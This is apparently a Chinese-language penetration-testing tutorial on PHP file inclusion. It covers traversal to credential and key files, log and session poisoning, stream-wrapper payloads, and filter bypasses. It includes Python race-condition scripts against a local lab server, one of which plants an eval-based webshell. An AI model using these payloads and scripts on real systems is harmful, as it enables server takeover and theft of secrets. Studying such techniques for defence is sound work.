文件包含

参考资料:

文件包含漏洞简介

利用phpinfo条件竞争

PHP文件包含漏洞利用思路与Bypass总结手册

1. 概述

什么是文件包含:文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他文件或恶意代码,导致信息泄露或代码注入。

要求:包含的文件路径攻击者可控,被包含的文件web服务器可访问。

1.1 常见的引发漏洞的函数:

  1. include()执行到include时才包含文件,文件不存在时提出警告,但是继续执行
  2. require()只要程序运行就会包含文件,文件不存在产生致命错误,并停止脚本
  3. include_once()require_once()只执行一次,如果一个文件已经被包含,则这两个函数不会再去包含(即使文件中间被修改过)。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),其中的文本内容都会直接作为php代码进行解析。

1.2 利用条件

  • 包含函数通过动态变量的方式引入需要包含的参数。

  • PHP中只要文件内容符合PHP语法规范,不管是什么后缀,都会被解析。

1.3 分类和利用思路

文件包含通常按照包含文件的位置分为两类:本地文件包含(LFI)和远程文件包含(RFI),顾名思义,本地文件包含就是指包含本地服务器上存储的一些文件;远程文件包含则是指被包含的文件不存储在本地。

本地文件包含

  1. 包含本地文件、执行代码
  2. 配合文件上传,执行恶意脚本
  3. 读取本地文件
  4. 通过包含日志的方式GetShell
  5. 通过包含/proc/self/envion文件GetShell
  6. 通过伪协议执行恶意脚本
  7. 通过phpinfo页面包含临时文件

远程文件包含

  1. 直接执行远程脚本(在本地执行)

远程文件包含需要在php.ini中进行配置,才可开启:

allow_url_fopen = On:本选项激活了 URL 风格的 fopen 封装协议,使得可以访问 URL 对象文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。(出于安全性考虑,此选项只能在 php.ini 中设置。)

allow_url_include = On:此选项允许将具有URL形式的fopen包装器与以下功能一起使用:include,include_once,require,require_once。(该功能要求allow_url_fopen开启)

2. 利用方法

2.1 配合文件解析漏洞来包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 读取系统敏感文件(路径遍历)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系统版本

​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件

​ C:\Windows\repair\sam //存储系统初次安装的密码

​ C:\Program Files\mysql\my.ini //Mysql配置

​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root

​ C:\Windows\php.ini //php配置信息

​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_ras.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/porc/config.gz

2.3 包含http日志文件

通过包含日志文件,来执行夹杂在URL请求或者User-Agent头中的恶意脚本

  1. 通过读取配置文件确定日志文件地址

    默认地址通常为:/var/log/httpd/access_log/var/log/apache2/access.log

  2. 请求时直接在URL后面加上脚本即可http://www.target.com/index.php<?php phpinfo();?>,之后去包含这个日志文件即可。

  3. 注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,通过CURl或者Burp改包绕过编码。

apache+Linux 日志默认路径

/etc/httpd/logs/access_log

/var/log/httpd/access_log

xmapp日志默认路径

D:/xampp/apache/logs/access.log

D:/xampp/apache/logs/error.log

IIS默认日志文件

C:/WINDOWS/system32/Logfiles

%SystemDrive%/inetpub/logs/LogFiles

nginx

/usr/local/nginx/logs

/opt/nginx/logs/access.log

通过包含环境变量/proc/slef/enversion来执行恶意脚本,修改HTTP请求的User-Agent报头,但是没复现成功

2.4 包含SSH日志

和包含HTTP日志类似,登录用户的用户名会被记录在日志中,如果可以读取到ssh日志文件,则可以利用恶意用户名注入php代码。

SSH登录日志常见存储位置:/var/log/auth.log/var/log/secure

2.5 使用PHP伪协议

PHP内置了很多URL 风格的封装协议,除了用于文件包含,还可以用于很多文件操作函数。在phpinfo的Registered PHP Streams中可以找到目前环境下可用的协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 压缩文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  1. file://访问本地文件系统http://target.com/?page=file://D:/www/page.txt,正反斜线都行(windows),对于共享文件服务器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input访问输入输出流:?page=php://input,在POST内容中输入想要执行的脚本。

  3. php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

    全部可用过滤器列表:https://www.php.net/manual/zh/filters.php

    通常利用该伪协议来读取php源码,通过设定编码方式(以base64编码为例),可以防止读取的内容被当做php代码解析,利用方式(就是read写不写的区别):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
  4. data://数据流封装:?page=data://text/plain,脚本

  1. zip://压缩流:创建恶意代码文件,添加到压缩文件夹,上传,无视后缀。通过?page=zip://绝对路径%23文件名访问,5.2.9之前是只能绝对路径。

备注:

  1. 文件需要绝对路径才能访问

  2. 需要通过#(也就是URL中的%23)来指定代码文件

  3. compress.bzip2://compress.zlib://压缩流,与zip类似,但是支持相对路径无视后缀

    bzipgzip是对单个文件进行压缩(不要纠结要不要指定压缩包内的文件)

    ?file=compress.bzip2://路径
    ?file=compress.zlib://路径
  4. phar://支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名,绝对路径和相对路径都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt

    制作phar文件(php5.3之后):

    1. 设置php.iniphar.readonly=off
    2. 制作生成脚本
    <?php
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
    $phar->stopBuffering(); //签名自动计算
    ?>
    // 这个脚本需要使用php.exe 来生成
    1. 生成脚本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //这个脚本可以通过访问来触发,在本地生成一个test.123,但是不能生成后缀为phar的文件(其他的都行,甚至是php)

2.6 配合phpinfo页面包含临时文件

向phpinfo页面上传文件的时候,phpinfo会返回临时文件的保存路径

临时文件存活时间很短,当连接结束后,临时文件就会消失。条件竞争

只要发送足够多的的数据,让页面还未反应过来的时候去包含文件,即可。

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

    利用脚本exp

2.7 包含Session

  1. PHP将用户Session以文件的形式保存在主机中,通过php.ini文件中的session.save_path字段可以设置具体的存储位置,通过phpinfo页面也可以查询到;文件命名格式为:sess_<PHPSESSID>,其中PHPSESSID为用户cookie中PHPSESSID对应的值;Session文件一些可能的保存路径:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
  2. Session文件内容有两种记录格式:php、php_serialize,通过修改php.ini文件中session.serialize_handler字段来进行设置。

    以php格式记录时,文件内容中以|来进行分割:

    以php_serialize格式记录时,将会话内容以序列化形式存储:

  3. 如果保存的session文件中字符串可控,那么就可以构造恶意的字符串触发文件包含。

    先构造一个含有恶意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之后包含这个会话的session文件。

2.9 包含环境变量

CGI****利用条件:1231、php以cgi方式运行,这样environ才会保存UA头。``2、environ文件存储位置已知,且environ文件可读。利用姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

3. 绕过技巧

3.1 限制路径路径

服务器限制了访问文件的路径,例如在变量前面追加'/var/www/html'限制只能包含web目录下的文件,可以利用路径穿越进行对抗。

../../../../../../../ect/passwd

对于输入有过滤的情况,可以尝试用URL编码进行转换,比如%2e%2e%2f,甚至是二次转换。

3.2 限制后缀

对用户输入添加后缀,比如:自动添加.jgp后缀、或者期望用户输如一个父目录,服务器自动拼接上子目录和文件。

  1. 如果是远程文件包含的话可以利用URL的特性?#

    构造出类似于http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路径,使得服务器预设的后缀变成URL的参数或者页面锚点。

  2. 利用压缩协议:构建一个压缩包归档文件,里面包含上服务器加的后缀,这样完整的路径将指向压缩包内文件。

    比如压缩包中文件为test.zip->test->defautl->test.php ,构造url:include.php?file=phar://test.zip/test,服务端拼接后变成include('phar://test.zip/test/defautl/test.php')

  3. 利用超长字符串进行截断,在php<5.2.8的版本可以设置一个超级长的路径,超过的部分将被服务器丢弃。

    win最长为256字节、Linux为4096字节,构造include.php?file=./././././(n多个)././test.php

  4. 利用00截断:php<5.3.4时可用%00对字符串进行截断,%00被是识别为字符串终止标记。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路径的文件共享进行绕过。

  1. 利用SMB(只对Win的web服务器有效):构建SMB服务器后,构造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:构造连接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 处理的session文件

为了保护用户的信息或存储更多格式的信息,很多时候都会对Session文件进行编码,以Base64编码为例,阐述绕过思路。了解服务端使用的编码模式以及对应的解码模式;合理安排payload使其满足解码条件,只要不干扰php代码运行就可以。

  1. 根据上边介绍的伪协议的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可对base64编码的文件进行解码,但是直接解码session文件时会出现乱码。其原因在于session文档中包含的并非全部都是base64编码的内容,session开头的user|s:24:字符串也被当做base64进行解码,从而导致出现乱码的情况,因此如果能忽略前面的字符,就可以完美解码了。

  2. 有利条件:PHP在进行base64解码的时候并不会去处理非Base64编码字符集的内容,直接忽略过去并拼接之后的内容。也就是说,Session文件中的:|{};"这类字符对Base64解码没有影响。

  3. Base64解码过程简单来说就是:将字符串按照每4个字符分为一组,解码为二进制数据流再拼接到一起,因此要保证我们可以将payload正确解出,需要将编码后的payload其实位置控制在4n+1的位置(第5、9、13...位)。(base64编码后长度为原数据长度的4/3)

  4. user:|s:24:"有效字符有7个,若要将payload置于第9位,则需要再增加一个字符,简单有效的办法就是让24变成一个三位数——填充无效数据扩充payload长度。

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11个干扰字符,因此同样只需将payload产生的字符串长度增加到三位数即可。

3.5 自己构造Session

有的网站可能不提供用户会话记录,但是默认的配置可以让我们自己构造出一个Session文件。相关的选项如下:

  • session.use_strict_mode = 0,允许用户自定义Session_ID,也就是说可以通过在Cookie中设置PHPSESSID=xxx将session文件名定义为sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每个文件上传时监视上传进度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

利用思路:

  1. 上传一个文件

  2. 上传时设置一个自定义PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS恶意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    这样就会在Session目录下生成一个包含恶意代码的session文件。

  4. 但是php默认设置中会打开session.upload_progress.cleanup = on,也就是当文件上传完成后会自动删除session文件,使用条件竞争绕过,恶意代码功能设置为生成一个shell.php。

利用exp:

import io
import sys
import requests
import threading sessid = 'test' def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://127.0.0.1/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
) def READ(session):
while True:
response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
# print('[+++]retry')
# print(response.text) if 'PHP Version' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0) with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start() READ(session)

3.6 CVE-2018-14884

CVE-2018-14884会造成php7出现段错误,从而导致垃圾回收机制失效,POST的文件会保留在系统缓存目录下而不会被清除。

影响版本:

PHP Group PHP 7.0.*,<7.0.27

PHP Group PHP 7.1.*,<7.1.13

PHP Group PHP 7.2.*,<7.2.1

windows 临时文件:C:\windows\php<随机字符>.tmp

linux临时文件:/tmp/php<随机字符>

  1. 漏洞验证include.php?file=php://filter/string.strip_tags/resource=index.php返回500错误

  2. post恶意字符串

    import requests
    
    files = {
    'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
  3. 在临时文件中可以看到恶意代码成功写入

  4. 至于包含嘛,爆破或者其他手段探测这个临时文件吧。

PHP文件包含 整理的更多相关文章

  1. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  2. svg矢量图标在html中的使用, (知识点:1.通过h5中的css实现点击变色,2.一个svg文件包含多个图标)

    svg矢量文件体积小,不变形,比传统的png先进,比现在流行的icon-font灵活.然而在使用过程中还是遇到了很多坑.今天花了一天时间把经验整理出来,以供后来者借鉴.如果您从本文收益,请留言mark ...

  3. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  4. Linux C编程学习之C语言简介---预处理、宏、文件包含……

    C的简介 C语言的结构极其紧凑,C语言是一种模块化的编程语言,整个程序可以分割为几个相对独立的功能模块,模块之间的相互调用和数据传递是非常方便的 C语言的表达能力十分强大.C语言兼顾了高级语言和汇编语 ...

  5. PHP 文件包含总结 include require 命名空间 autoload spl_autoload_register 读取文件路径

    总结: 1. include或require包含其他文件 使用./或者 ../,这里的当前路径和上一层路径,取决于运行脚本的路径,会存在如下问题. 在写PHP程序时,经常要用到include或requ ...

  6. 关于SharpZipLib压缩分散的文件及整理文件夹的方法

    今天为了解决压缩分散的文件时,发现想通过压缩对象直接进行文件夹整理很麻烦,因为SharpZipLib没有提供压缩进某个指定文件夹的功能,在反复分析了SharpZipLib提供的各个接口方法后,终于找到 ...

  7. ORACLE查看数据文件包含哪些对象

    在上篇ORACLE查看表空间对象中,我介绍了如何查询一个表空间有那些数据库对象,那么我们是否可以查看某个数据文件包含那些数据库对象呢?如下所示 SELECT  E.SEGMENT_TYPE       ...

  8. PHP任意文件包含绕过截断新姿势

    前言 此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec 我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴. 适用情况 可以控制协议的情况下,如果%00无法截断包含,可 ...

  9. error C2504 类的多层继承 头文件包含

    error C2504:头文件包含不全 今天碰到了很烦的问题,继承一个类之后,感觉头文件都包含了,可还是出现父类未定义的问题,最后发现,子类的子类在实现时,需要在cpp文件中包含所有他的父类的定义.因 ...

随机推荐

  1. luoguP3121解题报告

    p3121 本题首先利用一个手写栈,使元素可以快速出栈,再利用栈快速查询上一个元素在trie中的位置.

  2. Jmeter自动发送邮件

    自动发送邮件: 1.自动发送邮件,需要三个jar,分别是:activation.jar,commons-email-1.2.jar,mail.jar,这三个文件放在ant的lib目录下 2.报错 Ex ...

  3. quartz 定时任务调度管理器

    本项目使用的是spring-quartz 以下配置可以开启多个已知定时任务 <?xml version="1.0" encoding="UTF-8"?&g ...

  4. Redis学习笔记(十) 客户端

    Redis服务器是典型的一对多服务器程序:一个服务器可以与多个客户端建立网络连接,每个客户端可以向服务器发送命令请求,而服务器则接收并处理客户端发送的命令请求,并向客户端返回命令回复. 通过使用由I/ ...

  5. 【雕爷学编程】Arduino动手做(60)---WS2812直条8位模块

    37款传感器与执行器的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止这37种的.鉴于本人手头积累了一些传感器和执行器模块,依照实践出真知(一定要动手做)的理念,以学习和交流为 ...

  6. 测试工程中引入Masonry记录

    测试工程中需要引入Masonry,在进行添加新库时发现了几个问题,记录如下,方便有相同问题的朋友查找解决:   1,podfile中添加 pod ‘Masonry’ 后,pod install --v ...

  7. 杨辉三角(hdu2032)——有待完善

    思考:杨辉三角形 #include<stdio.h> #include<cstring> int main() { int n; char d; ][] = {}; while ...

  8. ShoneSharp语言(S#)的设计和使用介绍系列(5)— 数值Double

    ShoneSharp语言(S#)的设计和使用介绍 系列(5)— 数值Double 作者:Shone 声明:原创文章欢迎转载,但请注明出处,https://www.cnblogs.com/ShoneSh ...

  9. excel2007灵活计算2个日期之间的工作日

    C1单元格公式:=NETWORKDAYS(A1,B1,$F$2:$F$10)+COUNTIFS($I$2:$I$3,">="&A1,$I$2:$I$3,"& ...

  10. 哥德巴赫猜想 Java实现

    1.接口实现 package goldbach; /** * 输入一个大于6的偶数,请输出这个偶数能被分解为哪两个质数的和.如:10=3+7 12=5+7 * 此为按接口实现类完成 * * @auth ...